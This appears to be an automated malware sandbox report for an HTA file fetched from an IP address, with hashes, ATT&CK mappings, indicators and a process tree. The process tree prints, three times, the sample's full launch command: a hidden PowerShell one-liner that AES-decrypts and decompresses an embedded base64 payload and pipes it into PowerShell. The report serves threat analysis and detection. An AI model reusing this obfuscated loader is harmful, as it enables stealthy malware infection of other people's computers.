3f04d3267f818beec7a5f29a7780282bdf862a71669230b796b77700a494b55d

Analysis

max time kernel
120s
max time network
149s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
10-01-2024 21:28

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General

Target

163.5.169.28/SCAN-atoletter2.hta
Size

1.1MB
MD5

0e02311efc79d0580a3ae453f00cce83
SHA1

77721025336c37d0df3349badaa71e6610c6d429
SHA256

01e20536cc9847e7411bbb0e4d7381774f0e5e4cc86bfd6fdf0e12229d1d2786
SHA512

312589562ec740619629402876f4c077b56e0f3985686a6747c8c1d277f1bb56b41c21ef4fa1054178105a584692d3f6fc09af76e5edf4c6773826836c4b7bae
SSDEEP

1536:y4pLmOmQ7Mf99jXfqe+Wjyosy3vmr/l1vcmafSIm+lIWFR3QXdpkJJ0sVaVMHfFP:y4pLZmQ7CJXReoz3zH

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1268429524-3929314613-1992311491-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2044	powershell.exe
2044	powershell.exe
2044	powershell.exe
2664	powershell.exe
2840	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powershell.exe
Token: SeDebugPrivilege	2664	powershell.exe
Token: SeDebugPrivilege	2840	powershell.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2136 wrote to memory of 2044	2136	mshta.exe	28
PID 2136 wrote to memory of 2044	2136	mshta.exe	28
PID 2136 wrote to memory of 2044	2136	mshta.exe	28
PID 2136 wrote to memory of 2044	2136	mshta.exe	28
PID 2044 wrote to memory of 2828	2044	powershell.exe	30
PID 2044 wrote to memory of 2828	2044	powershell.exe	30
PID 2044 wrote to memory of 2828	2044	powershell.exe	30
PID 2044 wrote to memory of 2828	2044	powershell.exe	30
PID 2828 wrote to memory of 2840	2828	cmd.exe	32
PID 2828 wrote to memory of 2840	2828	cmd.exe	32
PID 2828 wrote to memory of 2840	2828	cmd.exe	32
PID 2828 wrote to memory of 2840	2828	cmd.exe	32
PID 2828 wrote to memory of 2664	2828	cmd.exe	31
PID 2828 wrote to memory of 2664	2828	cmd.exe	31
PID 2828 wrote to memory of 2664	2828	cmd.exe	31
PID 2828 wrote to memory of 2664	2828	cmd.exe	31

C:\Windows\SysWOW64\mshta.exe
C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\SCAN-atoletter2.hta"
1⤵
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2136
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $TDohU = 'AAAAAAAAAAAAAAAAAAAAAGsUUyZG1ov5a02EsZJ08iND6xtNaHYueIFf1KEbO8sk6iRxkUH3rWkOAU2b0zAIoNDqn+SH7Et754c/eWo/FTHSM0ibAvSB25VdT1n9VfcCtPHYpqmPvh3/RPsjfIQUKE56y3aJwh+C+6prv6udKMhq6/bu51o5kW4qWK0WJvFNbh7djNDcp6ObqNDm65yNdNGC56NxipDnOb72Jt/hXcEo7D1isT4TKr535ODPJvaI8HUXtJM3ClSSm0Ijy8uYD0fus5OdPcwHgyuDGT42w0YQDNxEe29suowP6LjtonRF1xKidUSTlND00BVHohDGk5ikVRbSO34/KkafXPhyrhsPE2t3LbSkUDqSmZv8GctQ4bvdAxnMZLG75kqnZBxLxsrOAMA+Bc6GuMtW4oYBqQXb1T1jRhD9Lupu2G7rxLcR306ybq7DbdROSKmNTlswEbrYF+/i1JzdgtuCtzzB9GtKHAsWvGX6N9u1CSIF2nmS9DducoqHw1EyXJ5k2R4p2awO/rtmbi3v+ic4+HHDiCinin3b6l4XtCW64wdrjdJUYiv7fb9T/3Mm2Nv8v3J5RMxTMp18zFhibOzh14ttVEZethW6zH423U3uiE1qbrIwhZ4a5JZF+B8+kOExz7Og/rZnvuDGvEUng5eRpNheajm35u+F6fUHiF+O7jERqGWAf2mXVbjy4Ii12TJTc2Ox/90Zsb+zpAyHNgW51au22US+8X19SI7Jj2GSp8v/dfDdaHq1aR6OhjJgBz8vusp1RFpFSLgKE6DaruPbL/Ze+T9RoygxoTFcFRLg+9GSO/Yns98FQkwt+o62ub8c37H/YislraFfTc4ZgCb/xou0D9sQRp44NzPCruSq74SL3BkUGDdbsO7EbUnPF9qpdnOJYz8BWbK2TjasowEJzSZDTY1Mmns6JKjTha+1Pxh7bKitckYPldLE2s3Yur8ww6tlx1cRFFoD2Z/eP4AAdwKEn6V3x79FfZSRQbanYSa0e8NkfarxWqPZR2q7Ldyc1U/i1g==';$QhjpuY = 'T1Vab3RURHF4R1RIQVJ6TWJoTmJERVNYQ2lsemFMYXE=';$XNjmYUUU = New-Object 'System.Security.Cryptography.AesManaged';$XNjmYUUU.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XNjmYUUU.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XNjmYUUU.BlockSize = 128;$XNjmYUUU.KeySize = 256;$XNjmYUUU.Key = [System.Convert]::FromBase64String($QhjpuY);$ZbOvE = [System.Convert]::FromBase64String($TDohU);$CGfOYIRO = $ZbOvE[0..15];$XNjmYUUU.IV = $CGfOYIRO;$LwrOMzefd = $XNjmYUUU.CreateDecryptor();$ldlRDguUf = $LwrOMzefd.TransformFinalBlock($ZbOvE, 16, $ZbOvE.Length - 16);$XNjmYUUU.Dispose();$ynpPY = New-Object System.IO.MemoryStream( , $ldlRDguUf );$CCVny = New-Object System.IO.MemoryStream;$WXaAoEGtt = New-Object System.IO.Compression.GzipStream $ynpPY, ([IO.Compression.CompressionMode]::Decompress);$WXaAoEGtt.CopyTo( $CCVny );$WXaAoEGtt.Close();$ynpPY.Close();[byte[]] $gLXiEJ = $CCVny.ToArray();$mrjDyZl = [System.Text.Encoding]::UTF8.GetString($gLXiEJ);$mrjDyZl | powershell - }
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2044
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c powershell.exe $TDohU = 'AAAAAAAAAAAAAAAAAAAAAGsUUyZG1ov5a02EsZJ08iND6xtNaHYueIFf1KEbO8sk6iRxkUH3rWkOAU2b0zAIoNDqn+SH7Et754c/eWo/FTHSM0ibAvSB25VdT1n9VfcCtPHYpqmPvh3/RPsjfIQUKE56y3aJwh+C+6prv6udKMhq6/bu51o5kW4qWK0WJvFNbh7djNDcp6ObqNDm65yNdNGC56NxipDnOb72Jt/hXcEo7D1isT4TKr535ODPJvaI8HUXtJM3ClSSm0Ijy8uYD0fus5OdPcwHgyuDGT42w0YQDNxEe29suowP6LjtonRF1xKidUSTlND00BVHohDGk5ikVRbSO34/KkafXPhyrhsPE2t3LbSkUDqSmZv8GctQ4bvdAxnMZLG75kqnZBxLxsrOAMA+Bc6GuMtW4oYBqQXb1T1jRhD9Lupu2G7rxLcR306ybq7DbdROSKmNTlswEbrYF+/i1JzdgtuCtzzB9GtKHAsWvGX6N9u1CSIF2nmS9DducoqHw1EyXJ5k2R4p2awO/rtmbi3v+ic4+HHDiCinin3b6l4XtCW64wdrjdJUYiv7fb9T/3Mm2Nv8v3J5RMxTMp18zFhibOzh14ttVEZethW6zH423U3uiE1qbrIwhZ4a5JZF+B8+kOExz7Og/rZnvuDGvEUng5eRpNheajm35u+F6fUHiF+O7jERqGWAf2mXVbjy4Ii12TJTc2Ox/90Zsb+zpAyHNgW51au22US+8X19SI7Jj2GSp8v/dfDdaHq1aR6OhjJgBz8vusp1RFpFSLgKE6DaruPbL/Ze+T9RoygxoTFcFRLg+9GSO/Yns98FQkwt+o62ub8c37H/YislraFfTc4ZgCb/xou0D9sQRp44NzPCruSq74SL3BkUGDdbsO7EbUnPF9qpdnOJYz8BWbK2TjasowEJzSZDTY1Mmns6JKjTha+1Pxh7bKitckYPldLE2s3Yur8ww6tlx1cRFFoD2Z/eP4AAdwKEn6V3x79FfZSRQbanYSa0e8NkfarxWqPZR2q7Ldyc1U/i1g==';$QhjpuY = 'T1Vab3RURHF4R1RIQVJ6TWJoTmJERVNYQ2lsemFMYXE=';$XNjmYUUU = New-Object 'System.Security.Cryptography.AesManaged';$XNjmYUUU.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XNjmYUUU.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XNjmYUUU.BlockSize = 128;$XNjmYUUU.KeySize = 256;$XNjmYUUU.Key = [System.Convert]::FromBase64String($QhjpuY);$ZbOvE = [System.Convert]::FromBase64String($TDohU);$CGfOYIRO = $ZbOvE[0..15];$XNjmYUUU.IV = $CGfOYIRO;$LwrOMzefd = $XNjmYUUU.CreateDecryptor();$ldlRDguUf = $LwrOMzefd.TransformFinalBlock($ZbOvE, 16, $ZbOvE.Length - 16);$XNjmYUUU.Dispose();$ynpPY = New-Object System.IO.MemoryStream( , $ldlRDguUf );$CCVny = New-Object System.IO.MemoryStream;$WXaAoEGtt = New-Object System.IO.Compression.GzipStream $ynpPY, ([IO.Compression.CompressionMode]::Decompress);$WXaAoEGtt.CopyTo( $CCVny );$WXaAoEGtt.Close();$ynpPY.Close();[byte[]] $gLXiEJ = $CCVny.ToArray();$mrjDyZl = [System.Text.Encoding]::UTF8.GetString($gLXiEJ);$mrjDyZl | powershell -
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2828
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell -
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2664
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe $TDohU = 'AAAAAAAAAAAAAAAAAAAAAGsUUyZG1ov5a02EsZJ08iND6xtNaHYueIFf1KEbO8sk6iRxkUH3rWkOAU2b0zAIoNDqn+SH7Et754c/eWo/FTHSM0ibAvSB25VdT1n9VfcCtPHYpqmPvh3/RPsjfIQUKE56y3aJwh+C+6prv6udKMhq6/bu51o5kW4qWK0WJvFNbh7djNDcp6ObqNDm65yNdNGC56NxipDnOb72Jt/hXcEo7D1isT4TKr535ODPJvaI8HUXtJM3ClSSm0Ijy8uYD0fus5OdPcwHgyuDGT42w0YQDNxEe29suowP6LjtonRF1xKidUSTlND00BVHohDGk5ikVRbSO34/KkafXPhyrhsPE2t3LbSkUDqSmZv8GctQ4bvdAxnMZLG75kqnZBxLxsrOAMA+Bc6GuMtW4oYBqQXb1T1jRhD9Lupu2G7rxLcR306ybq7DbdROSKmNTlswEbrYF+/i1JzdgtuCtzzB9GtKHAsWvGX6N9u1CSIF2nmS9DducoqHw1EyXJ5k2R4p2awO/rtmbi3v+ic4+HHDiCinin3b6l4XtCW64wdrjdJUYiv7fb9T/3Mm2Nv8v3J5RMxTMp18zFhibOzh14ttVEZethW6zH423U3uiE1qbrIwhZ4a5JZF+B8+kOExz7Og/rZnvuDGvEUng5eRpNheajm35u+F6fUHiF+O7jERqGWAf2mXVbjy4Ii12TJTc2Ox/90Zsb+zpAyHNgW51au22US+8X19SI7Jj2GSp8v/dfDdaHq1aR6OhjJgBz8vusp1RFpFSLgKE6DaruPbL/Ze+T9RoygxoTFcFRLg+9GSO/Yns98FQkwt+o62ub8c37H/YislraFfTc4ZgCb/xou0D9sQRp44NzPCruSq74SL3BkUGDdbsO7EbUnPF9qpdnOJYz8BWbK2TjasowEJzSZDTY1Mmns6JKjTha+1Pxh7bKitckYPldLE2s3Yur8ww6tlx1cRFFoD2Z/eP4AAdwKEn6V3x79FfZSRQbanYSa0e8NkfarxWqPZR2q7Ldyc1U/i1g==';$QhjpuY = 'T1Vab3RURHF4R1RIQVJ6TWJoTmJERVNYQ2lsemFMYXE=';$XNjmYUUU = New-Object 'System.Security.Cryptography.AesManaged';$XNjmYUUU.Mode = [System.Security.Cryptography.CipherMode]::ECB;$XNjmYUUU.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$XNjmYUUU.BlockSize = 128;$XNjmYUUU.KeySize = 256;$XNjmYUUU.Key = [System.Convert]::FromBase64String($QhjpuY);$ZbOvE = [System.Convert]::FromBase64String($TDohU);$CGfOYIRO = $ZbOvE[0..15];$XNjmYUUU.IV = $CGfOYIRO;$LwrOMzefd = $XNjmYUUU.CreateDecryptor();$ldlRDguUf = $LwrOMzefd.TransformFinalBlock($ZbOvE, 16, $ZbOvE.Length - 16);$XNjmYUUU.Dispose();$ynpPY = New-Object System.IO.MemoryStream( , $ldlRDguUf );$CCVny = New-Object System.IO.MemoryStream;$WXaAoEGtt = New-Object System.IO.Compression.GzipStream $ynpPY, ([IO.Compression.CompressionMode]::Decompress);$WXaAoEGtt.CopyTo( $CCVny );$WXaAoEGtt.Close();$ynpPY.Close();[byte[]] $gLXiEJ = $CCVny.ToArray();$mrjDyZl = [System.Text.Encoding]::UTF8.GetString($gLXiEJ);$mrjDyZl
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2840

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
c3247674d377364bb81cfeb145fab0fe

SHA1
c56543acd0a244f4cbd8b056afe306fc0bd24863

SHA256
3a7184a8b837830abe64bb3b962efcdce778c7c8346fb3cc02aa85c5e430e7d3

SHA512
e465b4c39c9a5f7f1553fd13ba9d680adba3b6d40e8905f3d2e6b0ecd29bfaa3ddffef5454b200c0364eaddb70eade2cd7180afde89b58d3ebeb82688c229ea9

Download Submit
memory/2044-2-0x00000000728C0000-0x0000000072E6B000-memory.dmp

Filesize
5.7MB

Download
memory/2044-5-0x0000000002410000-0x0000000002450000-memory.dmp

Filesize
256KB

Download
memory/2044-4-0x0000000002410000-0x0000000002450000-memory.dmp

Filesize
256KB

Download
memory/2044-3-0x00000000728C0000-0x0000000072E6B000-memory.dmp

Filesize
5.7MB

Download
memory/2044-6-0x00000000728C0000-0x0000000072E6B000-memory.dmp

Filesize
5.7MB

Download
memory/2664-19-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2664-17-0x0000000072900000-0x0000000072EAB000-memory.dmp

Filesize
5.7MB

Download
memory/2664-23-0x0000000072900000-0x0000000072EAB000-memory.dmp

Filesize
5.7MB

Download
memory/2664-34-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2664-31-0x0000000002750000-0x0000000002790000-memory.dmp

Filesize
256KB

Download
memory/2664-36-0x0000000072900000-0x0000000072EAB000-memory.dmp

Filesize
5.7MB

Download
memory/2840-18-0x0000000072900000-0x0000000072EAB000-memory.dmp

Filesize
5.7MB

Download
memory/2840-25-0x0000000001C10000-0x0000000001C50000-memory.dmp

Filesize
256KB

Download
memory/2840-29-0x0000000072900000-0x0000000072EAB000-memory.dmp

Filesize
5.7MB

Download
memory/2840-33-0x0000000001C10000-0x0000000001C50000-memory.dmp

Filesize
256KB

Download
memory/2840-35-0x0000000072900000-0x0000000072EAB000-memory.dmp

Filesize
5.7MB

Download